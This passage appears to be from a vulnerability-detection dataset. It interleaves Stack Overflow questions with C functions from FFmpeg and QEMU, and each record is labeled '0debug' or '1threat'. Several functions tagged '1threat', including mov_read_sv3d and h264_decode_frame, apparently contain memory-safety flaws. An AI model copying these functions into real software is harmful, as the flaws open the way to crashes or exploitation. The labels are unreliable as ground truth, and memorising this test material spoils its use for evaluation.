std::function<void()> lambda;
int a = 50;
};
int main()
{
Test t;
t.setFunction();
std::vector<Test> elements;
elements.push_back(std::move(t));
std::cout << elements[0].callAndReturn() << std::endl;
}
</code></pre>
<p>When I run it, the value 50 is printed instead of the expected value 2. I suppose this happens because the lambda function captures the current <code>this</code> pointer. After the move operation the <code>this</code> pointer changes and the function writes to the wrong <code>a</code>.</p>
<p><strong>Now my question is:</strong> Is there a way to change the lambda's captured reference to the new <code>Test</code> so that the value 2 is printed?</p>
| 0debug
|
In Cypress, set a token in localStorage before test : <p>I want to login and set a <code>localStorage</code> token on the client (specifically <a href="https://en.wikipedia.org/wiki/JSON_Web_Token" rel="noreferrer"><code>jwt</code></a>)</p>
<p>How can I accomplish this using <code>cy.request</code>, as suggested in the Cypress Documentation?</p>
| 0debug
|
Is it possible to control a chromecast or phillips hue from a dialogflow app : <p>it is possible to control devices like chromecast or phillips hue from a dialogflow.com application? I want to build something like this. </p>
<p><a href="https://www.youtube.com/watch?v=vFV1eTeeFis" rel="nofollow noreferrer">https://www.youtube.com/watch?v=vFV1eTeeFis</a></p>
| 0debug
|
static int mov_read_sv3d(MOVContext *c, AVIOContext *pb, MOVAtom atom)
{
AVStream *st;
MOVStreamContext *sc;
int size;
int32_t yaw, pitch, roll;
size_t l = 0, t = 0, r = 0, b = 0;
size_t padding = 0;
uint32_t tag;
enum AVSphericalProjection projection;
if (c->fc->nb_streams < 1)
return 0;
st = c->fc->streams[c->fc->nb_streams - 1];
sc = st->priv_data;
if (atom.size < 8) {
av_log(c->fc, AV_LOG_ERROR, "Empty spherical video box\n");
return AVERROR_INVALIDDATA;
}
size = avio_rb32(pb);
if (size <= 12 || size > atom.size)
return AVERROR_INVALIDDATA;
tag = avio_rl32(pb);
if (tag != MKTAG('s','v','h','d')) {
av_log(c->fc, AV_LOG_ERROR, "Missing spherical video header\n");
return 0;
}
avio_skip(pb, 4);
avio_skip(pb, size - 12);
size = avio_rb32(pb);
if (size > atom.size)
return AVERROR_INVALIDDATA;
tag = avio_rl32(pb);
if (tag != MKTAG('p','r','o','j')) {
av_log(c->fc, AV_LOG_ERROR, "Missing projection box\n");
return 0;
}
size = avio_rb32(pb);
if (size > atom.size)
return AVERROR_INVALIDDATA;
tag = avio_rl32(pb);
if (tag != MKTAG('p','r','h','d')) {
av_log(c->fc, AV_LOG_ERROR, "Missing projection header box\n");
return 0;
}
avio_skip(pb, 4);
yaw = avio_rb32(pb);
pitch = avio_rb32(pb);
roll = avio_rb32(pb);
size = avio_rb32(pb);
if (size > atom.size)
return AVERROR_INVALIDDATA;
tag = avio_rl32(pb);
avio_skip(pb, 4);
switch (tag) {
case MKTAG('c','b','m','p'):
projection = AV_SPHERICAL_CUBEMAP;
padding = avio_rb32(pb);
break;
case MKTAG('e','q','u','i'):
t = avio_rb32(pb);
b = avio_rb32(pb);
l = avio_rb32(pb);
r = avio_rb32(pb);
if (b >= UINT_MAX - t || r >= UINT_MAX - l) {
av_log(c->fc, AV_LOG_ERROR,
"Invalid bounding rectangle coordinates %"SIZE_SPECIFIER","
"%"SIZE_SPECIFIER",%"SIZE_SPECIFIER",%"SIZE_SPECIFIER"\n",
l, t, r, b);
return AVERROR_INVALIDDATA;
}
if (l || t || r || b)
projection = AV_SPHERICAL_EQUIRECTANGULAR_TILE;
else
projection = AV_SPHERICAL_EQUIRECTANGULAR;
break;
default:
av_log(c->fc, AV_LOG_ERROR, "Unknown projection type\n");
return 0;
}
sc->spherical = av_spherical_alloc(&sc->spherical_size);
if (!sc->spherical)
return AVERROR(ENOMEM);
sc->spherical->projection = projection;
sc->spherical->yaw = yaw;
sc->spherical->pitch = pitch;
sc->spherical->roll = roll;
sc->spherical->padding = padding;
sc->spherical->bound_left = l;
sc->spherical->bound_top = t;
sc->spherical->bound_right = r;
sc->spherical->bound_bottom = b;
return 0;
}
| 1threat
|
static int vio_make_devnode(VIOsPAPRDevice *dev,
void *fdt)
{
VIOsPAPRDeviceClass *pc = VIO_SPAPR_DEVICE_GET_CLASS(dev);
int vdevice_off, node_off, ret;
char *dt_name;
vdevice_off = fdt_path_offset(fdt, "/vdevice");
if (vdevice_off < 0) {
return vdevice_off;
}
dt_name = vio_format_dev_name(dev);
if (!dt_name) {
return -ENOMEM;
}
node_off = fdt_add_subnode(fdt, vdevice_off, dt_name);
free(dt_name);
if (node_off < 0) {
return node_off;
}
ret = fdt_setprop_cell(fdt, node_off, "reg", dev->reg);
if (ret < 0) {
return ret;
}
if (pc->dt_type) {
ret = fdt_setprop_string(fdt, node_off, "device_type",
pc->dt_type);
if (ret < 0) {
return ret;
}
}
if (pc->dt_compatible) {
ret = fdt_setprop_string(fdt, node_off, "compatible",
pc->dt_compatible);
if (ret < 0) {
return ret;
}
}
if (dev->qirq) {
uint32_t ints_prop[] = {cpu_to_be32(dev->vio_irq_num), 0};
ret = fdt_setprop(fdt, node_off, "interrupts", ints_prop,
sizeof(ints_prop));
if (ret < 0) {
return ret;
}
}
if (dev->rtce_window_size) {
uint32_t dma_prop[] = {cpu_to_be32(dev->reg),
0, 0,
0, cpu_to_be32(dev->rtce_window_size)};
ret = fdt_setprop_cell(fdt, node_off, "ibm,#dma-address-cells", 2);
if (ret < 0) {
return ret;
}
ret = fdt_setprop_cell(fdt, node_off, "ibm,#dma-size-cells", 2);
if (ret < 0) {
return ret;
}
ret = fdt_setprop(fdt, node_off, "ibm,my-dma-window", dma_prop,
sizeof(dma_prop));
if (ret < 0) {
return ret;
}
}
if (pc->devnode) {
ret = (pc->devnode)(dev, fdt, node_off);
if (ret < 0) {
return ret;
}
}
return node_off;
}
| 1threat
|
how to get sharedpreferences value in edittext from another activity in android for signin : <p>how to get sharedPreferences values like name and password from another activity and get in another activity in editText for furter use.</p>
<p>Actually i want to sign in to another activity using sharedpreferences.</p>
| 0debug
|
Can't install JDK 9 because "Another Java installation is in progress" : <p>I have been using JDK 9 on Windows 10 x64 for a while but when I went to install the latest early release (b174), I first uninstalled the previous version (as usual) and then ran the new installer.</p>
<p>It fails with a message box saying "Another Java installation is in progress. You must complete that installation before you can run this installer".</p>
<p>It seems there are some artifacts around causing the problem but only for JDK 9 as I can uninstall & reinstall JDK 8 without any issues. Also, the same problem occurs if I try to run the installers for any prior JDK 9 releases as well (even though they worked before).</p>
<p>Searches have suggested various options like using a Microsoft MSI clean-up tool and registry hacks but nothing is helping.</p>
<p>Can anyone suggest a way to get JDK 9 installed (as now I cannot use any release of JDK 9 at all)?</p>
| 0debug
|
How to divide between groups of rows using dplyr? : <p>I have this dataframe:</p>
<pre><code>x <- data.frame(
name = rep(letters[1:4], each = 2),
condition = rep(c("A", "B"), times = 4),
value = c(2,10,4,20,8,40,20,100)
)
# name condition value
# 1 a A 2
# 2 a B 10
# 3 b A 4
# 4 b B 20
# 5 c A 8
# 6 c B 40
# 7 d A 20
# 8 d B 100
</code></pre>
<p>I want to group by name and divide the value of rows with <code>condition == "B"</code> with those with <code>condition == "A"</code>, to get this:</p>
<pre><code>data.frame(
name = letters[1:4],
value = c(5,5,5,5)
)
# name value
# 1 a 5
# 2 b 5
# 3 c 5
# 4 d 5
</code></pre>
<p>I know something like this can get me pretty close: </p>
<pre><code>x$value[which(x$condition == "B")]/x$value[which(x$condition == "A")]
</code></pre>
<p>but I was wondering if there was an easy way to do this with dplyr (My dataframe is a toy example and I got to it by chaining multiple <code>group_by</code> and <code>summarise</code> calls).</p>
| 0debug
|
Adding new values in Object in Typescript : <p>I have write the following code in Angular 2 typescript</p>
<pre><code>import { Component } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
myObj:any =
[
{ id: 11, name: 'Mr. Nice' },
{ id: 12, name: 'Narco' },
{ id: 13, name: 'Bombasto' },
{ id: 14, name: 'Celeritas' },
{ id: 15, name: 'Magneta' },
{ id: 16, name: 'RubberMan' },
{ id: 17, name: 'Dynama' },
{ id: 18, name: 'Dr IQ' },
{ id: 19, name: 'Magma' },
{ id: 20, name: 'Tornado' }
];
}
</code></pre>
<p>I want to insert new object in myObj like</p>
<pre><code> { id: 21, name: 'Doctor Strange' },
{ id: 22, name: 'New Hero' }
</code></pre>
<p>Could anybody help me how can I do this. I have no idea about it.</p>
| 0debug
|
void ff_hcscale_fast_mmxext(SwsContext *c, int16_t *dst1, int16_t *dst2,
int dstWidth, const uint8_t *src1,
const uint8_t *src2, int srcW, int xInc)
{
int32_t *filterPos = c->hChrFilterPos;
int16_t *filter = c->hChrFilter;
void *mmxextFilterCode = c->chrMmxextFilterCode;
int i;
#if ARCH_X86_64
DECLARE_ALIGNED(8, uint64_t, retsave);
#else
#if defined(PIC)
DECLARE_ALIGNED(8, uint64_t, ebxsave);
#endif
#endif
__asm__ volatile(
#if ARCH_X86_64
"mov -8(%%rsp), %%"FF_REG_a" \n\t"
"mov %%"FF_REG_a", %7 \n\t"
#else
#if defined(PIC)
"mov %%"FF_REG_b", %7 \n\t"
#endif
#endif
"pxor %%mm7, %%mm7 \n\t"
"mov %0, %%"FF_REG_c" \n\t"
"mov %1, %%"FF_REG_D" \n\t"
"mov %2, %%"FF_REG_d" \n\t"
"mov %3, %%"FF_REG_b" \n\t"
"xor %%"FF_REG_a", %%"FF_REG_a" \n\t"
PREFETCH" (%%"FF_REG_c") \n\t"
PREFETCH" 32(%%"FF_REG_c") \n\t"
PREFETCH" 64(%%"FF_REG_c") \n\t"
CALL_MMXEXT_FILTER_CODE
CALL_MMXEXT_FILTER_CODE
CALL_MMXEXT_FILTER_CODE
CALL_MMXEXT_FILTER_CODE
"xor %%"FF_REG_a", %%"FF_REG_a" \n\t"
"mov %5, %%"FF_REG_c" \n\t"
"mov %6, %%"FF_REG_D" \n\t"
PREFETCH" (%%"FF_REG_c") \n\t"
PREFETCH" 32(%%"FF_REG_c") \n\t"
PREFETCH" 64(%%"FF_REG_c") \n\t"
CALL_MMXEXT_FILTER_CODE
CALL_MMXEXT_FILTER_CODE
CALL_MMXEXT_FILTER_CODE
CALL_MMXEXT_FILTER_CODE
#if ARCH_X86_64
"mov %7, %%"FF_REG_a" \n\t"
"mov %%"FF_REG_a", -8(%%rsp) \n\t"
#else
#if defined(PIC)
"mov %7, %%"FF_REG_b" \n\t"
#endif
#endif
:: "m" (src1), "m" (dst1), "m" (filter), "m" (filterPos),
"m" (mmxextFilterCode), "m" (src2), "m"(dst2)
#if ARCH_X86_64
,"m"(retsave)
#else
#if defined(PIC)
,"m" (ebxsave)
#endif
#endif
: "%"FF_REG_a, "%"FF_REG_c, "%"FF_REG_d, "%"FF_REG_S, "%"FF_REG_D
#if ARCH_X86_64 || !defined(PIC)
,"%"FF_REG_b
#endif
);
for (i=dstWidth-1; (i*xInc)>>16 >=srcW-1; i--) {
dst1[i] = src1[srcW-1]*128;
dst2[i] = src2[srcW-1]*128;
}
}
| 1threat
|
Why is it that the string length of an empty array defers from the array size? : When returning the length and the size of an empty string in C, the values differ. Why is that so?
```c
char b[7];
printf("String Length: ", strlen(b)); // Returns 22
printf("String Size: ", sizeof(b)); // Returns 7
```
| 0debug
|
angular2 How to select all? : <pre><code>class Heroe{
selected ?: boolean;
}
heroes: Observable<Heroe[]>
....
this.heroes = this.heroService.getHeroes()
....
select_all(){
How to do it?
}
</code></pre>
<p>=======</p>
<pre><code><div *ngFor="let hero of heroes | async" >
<span *ngIF="hero.selected">selected</span>
{{hero.name}}
</div>
<input type="checkbox" #checkbox (change)="select_all(checkbox.checked)">
</code></pre>
<p><strong>How to select?</strong>
<strong>How to select?</strong>
<strong>How to select?</strong>
<strong>How to select?</strong>
<strong>How to select?</strong>
<strong>How to select?</strong></p>
| 0debug
|
Use svg as map using leaflet.js : <p>Is it possible to use SVG image as the base map for leaflet.js ?</p>
<p>In my case I have huge svg file and I wish to allow my users to use all of leaflet's features such as zoom, markers, layers.</p>
| 0debug
|
static void cpu_x86_register(X86CPU *cpu, const char *name, Error **errp)
{
CPUX86State *env = &cpu->env;
x86_def_t def1, *def = &def1;
memset(def, 0, sizeof(*def));
if (cpu_x86_find_by_name(cpu, def, name) < 0) {
error_setg(errp, "Unable to find CPU definition: %s", name);
return;
}
if (kvm_enabled()) {
def->features[FEAT_KVM] |= kvm_default_features;
}
def->features[FEAT_1_ECX] |= CPUID_EXT_HYPERVISOR;
object_property_set_str(OBJECT(cpu), def->vendor, "vendor", errp);
object_property_set_int(OBJECT(cpu), def->level, "level", errp);
object_property_set_int(OBJECT(cpu), def->family, "family", errp);
object_property_set_int(OBJECT(cpu), def->model, "model", errp);
object_property_set_int(OBJECT(cpu), def->stepping, "stepping", errp);
env->features[FEAT_1_EDX] = def->features[FEAT_1_EDX];
env->features[FEAT_1_ECX] = def->features[FEAT_1_ECX];
env->features[FEAT_8000_0001_EDX] = def->features[FEAT_8000_0001_EDX];
env->features[FEAT_8000_0001_ECX] = def->features[FEAT_8000_0001_ECX];
object_property_set_int(OBJECT(cpu), def->xlevel, "xlevel", errp);
env->features[FEAT_KVM] = def->features[FEAT_KVM];
env->features[FEAT_SVM] = def->features[FEAT_SVM];
env->features[FEAT_C000_0001_EDX] = def->features[FEAT_C000_0001_EDX];
env->features[FEAT_7_0_EBX] = def->features[FEAT_7_0_EBX];
env->cpuid_xlevel2 = def->xlevel2;
object_property_set_str(OBJECT(cpu), def->model_id, "model-id", errp);
}
| 1threat
|
How to fix this error in visual stodio 2017 : Warning IDE0006 Error encountered while loading the project. Some project features, such as full solution analysis for the failed project and projects that depend on it, have been disabled.
Cannot find wrapper assembly for type library "ADODB". Verify that (1) the COM component is registered correctly and (2) your target platform is the same as the bitness of the COM component. For example, if the COM component is 32-bit, your target platform must not be 64-bit.
The referenced component 'adodb1' could not be found.
| 0debug
|
Get a value from Entry : <p>this is a part of my code, i'm trying to get the value from the Entry bf, but when i run it shows that: "AttributeError: 'NoneType' object has no attribute 'get'". Does anyone knows why that is happening?</p>
<p>Code:</p>
<pre><code>from tkinter import *
window = Tk()
window.geometry("650x450+500+300")
def Calcular():
print("teste")
print(bf.get())
Geom = LabelFrame(window, text = "Dados Geométricos", font="Arial 12", width=200)
Geom.place(x=290, y=10)
Label(Geom, text ="bf: ", font="Arial 12").grid(column=0, row=0, sticky=E)
Label(Geom, text =" cm", font="Arial 12").grid(column=2, row=0, sticky=W)
bf = Entry(Geom, width=5, justify= RIGHT, font="Arial 12").grid(column=1, row=0)
btnCalcular = Button(window, text="Calcular", font="Arial 12", command=Calcular)
btnCalcular.place(x=50, y=180, width = 150)
window.mainloop()
</code></pre>
| 0debug
|
nested functions;.todays(datediff(student_info,'1999-8-31')) : im new to sql and php. I want to calculate age of a student(in months) by the differentia of dob(table field) and fixed date(;. 31-8-2016). and also want to store that value in the field named 'age'
| 0debug
|
static inline int svq3_decode_block(GetBitContext *gb, DCTELEM *block,
int index, const int type)
{
static const uint8_t *const scan_patterns[4] =
{ luma_dc_zigzag_scan, zigzag_scan, svq3_scan, chroma_dc_scan };
int run, level, sign, vlc, limit;
const int intra = (3 * type) >> 2;
const uint8_t *const scan = scan_patterns[type];
for (limit = (16 >> intra); index < 16; index = limit, limit += 8) {
for (; (vlc = svq3_get_ue_golomb(gb)) != 0; index++) {
if (vlc == INVALID_VLC)
return -1;
sign = (vlc & 0x1) - 1;
vlc = (vlc + 1) >> 1;
if (type == 3) {
if (vlc < 3) {
run = 0;
level = vlc;
} else if (vlc < 4) {
run = 1;
level = 1;
} else {
run = (vlc & 0x3);
level = ((vlc + 9) >> 2) - run;
}
} else {
if (vlc < 16) {
run = svq3_dct_tables[intra][vlc].run;
level = svq3_dct_tables[intra][vlc].level;
} else if (intra) {
run = (vlc & 0x7);
level = (vlc >> 3) + ((run == 0) ? 8 : ((run < 2) ? 2 : ((run < 5) ? 0 : -1)));
} else {
run = (vlc & 0xF);
level = (vlc >> 4) + ((run == 0) ? 4 : ((run < 3) ? 2 : ((run < 10) ? 1 : 0)));
}
}
if ((index += run) >= limit)
return -1;
block[scan[index]] = (level ^ sign) - sign;
}
if (type != 2) {
break;
}
}
return 0;
}
| 1threat
|
void net_tx_pkt_init(struct NetTxPkt **pkt, uint32_t max_frags,
bool has_virt_hdr)
{
struct NetTxPkt *p = g_malloc0(sizeof *p);
p->vec = g_malloc((sizeof *p->vec) *
(max_frags + NET_TX_PKT_PL_START_FRAG));
p->raw = g_malloc((sizeof *p->raw) * max_frags);
p->max_payload_frags = max_frags;
p->max_raw_frags = max_frags;
p->has_virt_hdr = has_virt_hdr;
p->vec[NET_TX_PKT_VHDR_FRAG].iov_base = &p->virt_hdr;
p->vec[NET_TX_PKT_VHDR_FRAG].iov_len =
p->has_virt_hdr ? sizeof p->virt_hdr : 0;
p->vec[NET_TX_PKT_L2HDR_FRAG].iov_base = &p->l2_hdr;
p->vec[NET_TX_PKT_L3HDR_FRAG].iov_base = NULL;
p->vec[NET_TX_PKT_L3HDR_FRAG].iov_len = 0;
*pkt = p;
}
| 1threat
|
Need help writing first VBA code : New to VBA and am in over my head.
I have a table. I would like to write a code that loops through and if the active cell contains a 1, then, in a cell outside of the table, the column heading is returned and put into a comma separated list.
I am looking for that loop to continue all the way across the first row cell by cell, and comma separated list to build with each TRUE return.
Once the loop hits the end of the row I need it to drop down to the next row and continue the same process (but creating its own comma separated list for those that returned true in row 2).
Any help would be greatly appreciated.
I know I need to somehow loop and if statement but just can't figure it out right now.
Thanks
| 0debug
|
error TS2300: Duplicate identifier 'RequestInfo' : <p>I'm working in a ReactXP project where I must use React Native <a href="https://facebook.github.io/react-native/docs/native-modules-ios.html" rel="noreferrer">native modules</a>.</p>
<p>So I've included the react-native types as a dev dependency.</p>
<p>My project does not compile right now with the following errors:</p>
<pre><code>node_modules/@types/react-native/globals.d.ts(92,14): error TS2300: Duplicate identifier 'RequestInfo'.
node_modules/@types/react-native/index.d.ts(8751,11): error TS2451: Cannot redeclare block-scoped variable 'console'.
node_modules/@types/react-native/index.d.ts(8759,18): error TS2717: Subsequent property declarations must have the same type. Property 'geolocation' must be of type 'Geolocation', but here has type 'GeolocationStatic'.
node_modules/@types/react-native/index.d.ts(8762,11): error TS2451: Cannot redeclare block-scoped variable 'navigator'.
node_modules/typescript/lib/lib.dom.d.ts(15764,13): error TS2451: Cannot redeclare block-scoped variable'navigator'.
node_modules/typescript/lib/lib.dom.d.ts(15940,13): error TS2451: Cannot redeclare block-scoped variable'console'.
node_modules/typescript/lib/lib.dom.d.ts(15997,6): error TS2300: Duplicate identifier 'RequestInfo'.
18:17:44 - Compilation complete. Watching for file changes.
</code></pre>
<p>Following are my package.json file:</p>
<pre><code>"dependencies": {
"react": "^16.4.0",
"react-dom": "^16.3.1",
"react-native": "^0.55.4",
"react-native-windows": "^0.54.0",
"reactxp": "^1.2.1"
},
"devDependencies": {
"@types/react-native": "^0.55.16",
"@types/webpack": "^4.1.3",
"@types/node": "9.6.7",
"@types/react-dom": "^16.0.5",
"awesome-typescript-loader": "^5.0.0",
"rnpm-plugin-windows": "^0.2.8",
"source-map-loader": "^0.2.3",
"ts-node": "^5.0.1",
"tslint": "^5.9.1",
"tslint-microsoft-contrib": "^5.0.3",
"typescript": "^2.8.1",
"webpack": "^4.5.0",
"webpack-cli": "^2.0.13"
}
</code></pre>
<p>and tsconfig.json file</p>
<pre><code>{
"exclude": [
"node_modules"
],
"compilerOptions": {
"declaration": false,
"noResolve": false,
"jsx": "react",
"reactNamespace": "RX",
"module": "commonjs",
"target": "es5",
"experimentalDecorators": true,
"sourceMap": true,
"noImplicitAny": true,
"noImplicitReturns": true,
"outDir": "./dist/",
"types": [
"lodash",
"react",
"react-dom"
],
"lib": [
"es6",
"dom"
],
},
"include": [
"./src/ts/**/*"
]
}
</code></pre>
<p>I do not understand what I'm doing wrong.</p>
<p>Any help appreciated.</p>
| 0debug
|
print_ipc_cmd(int cmd)
{
#define output_cmd(val) \
if( cmd == val ) { \
gemu_log(#val); \
return; \
}
cmd &= 0xff;
output_cmd( IPC_RMID );
output_cmd( IPC_SET );
output_cmd( IPC_STAT );
output_cmd( IPC_INFO );
#ifdef __USER_MISC
output_cmd( MSG_STAT );
output_cmd( MSG_INFO );
#endif
output_cmd( SHM_LOCK );
output_cmd( SHM_UNLOCK );
output_cmd( SHM_STAT );
output_cmd( SHM_INFO );
output_cmd( GETPID );
output_cmd( GETVAL );
output_cmd( GETALL );
output_cmd( GETNCNT );
output_cmd( GETZCNT );
output_cmd( SETVAL );
output_cmd( SETALL );
output_cmd( SEM_STAT );
output_cmd( SEM_INFO );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
output_cmd( IPC_RMID );
gemu_log("%d",cmd);
}
| 1threat
|
updating value in JSON /Rest-api (Powershell) : I want to update values in my JSON/Rest-api, but I can't PATCH the new values in rest-api. I saved the new values in csv-file and I converted this file to JSON to patch the new values in Rest-api
$Authorization = "Bearer API-KEY"
$Accept = "application/json"
$Content = "application/json"
$Uri = "URL"
$getTapes = Invoke-RestMethod -Method PATCH -ContentType $content -Uri $Uri -Headers @{'Authorization' = $Authorization}
import-csv "C:\123\test.txt" | ConvertTo-Json | Set-Content -Path $getTapes
| 0debug
|
void framebuffer_update_display(
DisplayState *ds,
MemoryRegion *address_space,
target_phys_addr_t base,
int cols,
int rows,
int src_width,
int dest_row_pitch,
int dest_col_pitch,
int invalidate,
drawfn fn,
void *opaque,
int *first_row,
int *last_row )
{
target_phys_addr_t src_len;
uint8_t *dest;
uint8_t *src;
uint8_t *src_base;
int first, last = 0;
int dirty;
int i;
ram_addr_t addr;
MemoryRegionSection mem_section;
MemoryRegion *mem;
i = *first_row;
*first_row = -1;
src_len = src_width * rows;
mem_section = memory_region_find(address_space, base, src_len);
if (mem_section.size != src_len || !memory_region_is_ram(mem_section.mr)) {
return;
}
mem = mem_section.mr;
assert(mem);
assert(mem_section.offset_within_address_space == base);
memory_region_sync_dirty_bitmap(mem);
src_base = cpu_physical_memory_map(base, &src_len, 0);
if (!src_base)
return;
if (src_len != src_width * rows) {
cpu_physical_memory_unmap(src_base, src_len, 0, 0);
return;
}
src = src_base;
dest = ds_get_data(ds);
if (dest_col_pitch < 0)
dest -= dest_col_pitch * (cols - 1);
if (dest_row_pitch < 0) {
dest -= dest_row_pitch * (rows - 1);
}
first = -1;
addr = mem_section.offset_within_region;
addr += i * src_width;
src += i * src_width;
dest += i * dest_row_pitch;
for (; i < rows; i++) {
dirty = memory_region_get_dirty(mem, addr, src_width,
DIRTY_MEMORY_VGA);
if (dirty || invalidate) {
fn(opaque, dest, src, cols, dest_col_pitch);
if (first == -1)
first = i;
last = i;
}
addr += src_width;
src += src_width;
dest += dest_row_pitch;
}
cpu_physical_memory_unmap(src_base, src_len, 0, 0);
if (first < 0) {
return;
}
memory_region_reset_dirty(mem, mem_section.offset_within_region, src_len,
DIRTY_MEMORY_VGA);
*first_row = first;
*last_row = last;
}
| 1threat
|
What is the point of StyleSheet.create : <p>I'm reading the <a href="https://facebook.github.io/react-native/docs/style.html#content" rel="noreferrer">React Native docs / tutorial</a>, and I'm wondering what the point of the <code>StyleSheet.create</code> function is.</p>
<p>For example, the tutorial has the following code:</p>
<pre><code>const styles = StyleSheet.create({
bigblue: {
color: 'blue',
fontWeight: 'bold',
fontSize: 30,
},
red: {
color: 'red',
},
});
</code></pre>
<p>But I don't understand the difference between that and:</p>
<pre><code>const styles = {
bigblue: {
color: 'blue',
fontWeight: 'bold',
fontSize: 30,
},
red: {
color: 'red',
},
};
</code></pre>
| 0debug
|
static int no_run_in (HWVoiceIn *hw)
{
NoVoiceIn *no = (NoVoiceIn *) hw;
int live = audio_pcm_hw_get_live_in (hw);
int dead = hw->samples - live;
int samples = 0;
if (dead) {
int64_t now = qemu_get_clock (vm_clock);
int64_t ticks = now - no->old_ticks;
int64_t bytes =
muldiv64 (ticks, hw->info.bytes_per_second, get_ticks_per_sec ());
no->old_ticks = now;
bytes = audio_MIN (bytes, INT_MAX);
samples = bytes >> hw->info.shift;
samples = audio_MIN (samples, dead);
}
return samples;
}
| 1threat
|
static void powernv_populate_chip(PnvChip *chip, void *fdt)
{
PnvChipClass *pcc = PNV_CHIP_GET_CLASS(chip);
char *typename = pnv_core_typename(pcc->cpu_model);
size_t typesize = object_type_get_instance_size(typename);
int i;
for (i = 0; i < chip->nr_cores; i++) {
PnvCore *pnv_core = PNV_CORE(chip->cores + i * typesize);
powernv_create_core_node(chip, pnv_core, fdt);
}
if (chip->ram_size) {
powernv_populate_memory_node(fdt, chip->chip_id, chip->ram_start,
chip->ram_size);
}
g_free(typename);
}
| 1threat
|
Command ot properly ended : can i know what the problem with this statement as i getting the error command not properly ended
update subjectinfo set subject_name = '" + textBoxSubjectNameUpdate.Text + "' , subject_abbreviation = '" + textBoxSubjectAbbreviationUpdate.Text + "where subject_code = '" + textBoxSubjectCodeUpdate.Text + "'"
| 0debug
|
static int h264_decode_frame(AVCodecContext *avctx, void *data,
int *got_frame, AVPacket *avpkt)
{
const uint8_t *buf = avpkt->data;
int buf_size = avpkt->size;
H264Context *h = avctx->priv_data;
AVFrame *pict = data;
int buf_index = 0;
H264Picture *out;
int i, out_idx;
int ret;
h->flags = avctx->flags;
ff_h264_unref_picture(h, &h->last_pic_for_ec);
if (buf_size == 0) {
out:
h->cur_pic_ptr = NULL;
h->first_field = 0;
out = h->delayed_pic[0];
out_idx = 0;
for (i = 1;
h->delayed_pic[i] &&
!h->delayed_pic[i]->f->key_frame &&
!h->delayed_pic[i]->mmco_reset;
i++)
if (h->delayed_pic[i]->poc < out->poc) {
out = h->delayed_pic[i];
out_idx = i;
for (i = out_idx; h->delayed_pic[i]; i++)
h->delayed_pic[i] = h->delayed_pic[i + 1];
if (out) {
out->reference &= ~DELAYED_PIC_REF;
ret = output_frame(h, pict, out);
if (ret < 0)
return ret;
*got_frame = 1;
return buf_index;
if (h->is_avc && av_packet_get_side_data(avpkt, AV_PKT_DATA_NEW_EXTRADATA, NULL)) {
int side_size;
uint8_t *side = av_packet_get_side_data(avpkt, AV_PKT_DATA_NEW_EXTRADATA, &side_size);
if (is_extra(side, side_size))
ff_h264_decode_extradata(h, side, side_size);
if(h->is_avc && buf_size >= 9 && buf[0]==1 && buf[2]==0 && (buf[4]&0xFC)==0xFC && (buf[5]&0x1F) && buf[8]==0x67){
if (is_extra(buf, buf_size))
return ff_h264_decode_extradata(h, buf, buf_size);
buf_index = decode_nal_units(h, buf, buf_size, 0);
if (buf_index < 0)
return AVERROR_INVALIDDATA;
if (!h->cur_pic_ptr && h->nal_unit_type == NAL_END_SEQUENCE) {
av_assert0(buf_index <= buf_size);
goto out;
if (!(avctx->flags2 & CODEC_FLAG2_CHUNKS) && !h->cur_pic_ptr) {
if (avctx->skip_frame >= AVDISCARD_NONREF ||
buf_size >= 4 && !memcmp("Q264", buf, 4))
return buf_size;
av_log(avctx, AV_LOG_ERROR, "no frame!\n");
return AVERROR_INVALIDDATA;
if (!(avctx->flags2 & CODEC_FLAG2_CHUNKS) ||
(h->mb_y >= h->mb_height && h->mb_height)) {
if (avctx->flags2 & CODEC_FLAG2_CHUNKS)
decode_postinit(h, 1);
ff_h264_field_end(h, &h->slice_ctx[0], 0);
*got_frame = 0;
if (h->next_output_pic && (
h->next_output_pic->recovered)) {
if (!h->next_output_pic->recovered)
h->next_output_pic->f->flags |= AV_FRAME_FLAG_CORRUPT;
if (!h->avctx->hwaccel &&
(h->next_output_pic->field_poc[0] == INT_MAX ||
h->next_output_pic->field_poc[1] == INT_MAX)
) {
int p;
AVFrame *f = h->next_output_pic->f;
int field = h->next_output_pic->field_poc[0] == INT_MAX;
uint8_t *dst_data[4];
int linesizes[4];
const uint8_t *src_data[4];
av_log(h->avctx, AV_LOG_DEBUG, "Duplicating field %d to fill missing\n", field);
for (p = 0; p<4; p++) {
dst_data[p] = f->data[p] + (field^1)*f->linesize[p];
src_data[p] = f->data[p] + field *f->linesize[p];
linesizes[p] = 2*f->linesize[p];
av_image_copy(dst_data, linesizes, src_data, linesizes,
f->format, f->width, f->height>>1);
ret = output_frame(h, pict, h->next_output_pic);
if (ret < 0)
return ret;
*got_frame = 1;
if (CONFIG_MPEGVIDEO) {
ff_print_debug_info2(h->avctx, pict, NULL,
h->next_output_pic->mb_type,
h->next_output_pic->qscale_table,
h->next_output_pic->motion_val,
&h->low_delay,
h->mb_width, h->mb_height, h->mb_stride, 1);
av_assert0(pict->buf[0] || !*got_frame);
ff_h264_unref_picture(h, &h->last_pic_for_ec);
return get_consumed_bytes(buf_index, buf_size);
| 1threat
|
Is there a way to run a function as long as an array is non zero in size? : <p>Say for example my function woof() clears some array called meow[] by removing the items in it. meow[] may have items added to it by other functions, but as long as it has items in it, ie it's size is nonzero, I want woof to run and clear it. </p>
<p>How do I do this in C++?</p>
| 0debug
|
Can't open some html files in chrome (mac) : <p>There are some HTML files (no pattern that I've figured out) that I can't open via the terminal, GUI or right clicking Open in Browser via Sublime Text 3. </p>
<p>The default browser to open the file is definitely set to Chrome. When I say to open the file in the browser it takes me to the Chrome window, but doesn't actually open the file I want.</p>
<p>I can open these files in Chrome itself via command + O and in Firefox or Safari by right clicking on the file and selecting them in the GUI.</p>
<p>It'd be great if Chrome would open files when I expect it to. I'd appreciate any help.</p>
| 0debug
|
static int mov_write_minf_tag(AVIOContext *pb, MOVMuxContext *mov, MOVTrack *track)
{
int64_t pos = avio_tell(pb);
int ret;
avio_wb32(pb, 0);
ffio_wfourcc(pb, "minf");
if (track->enc->codec_type == AVMEDIA_TYPE_VIDEO)
mov_write_vmhd_tag(pb);
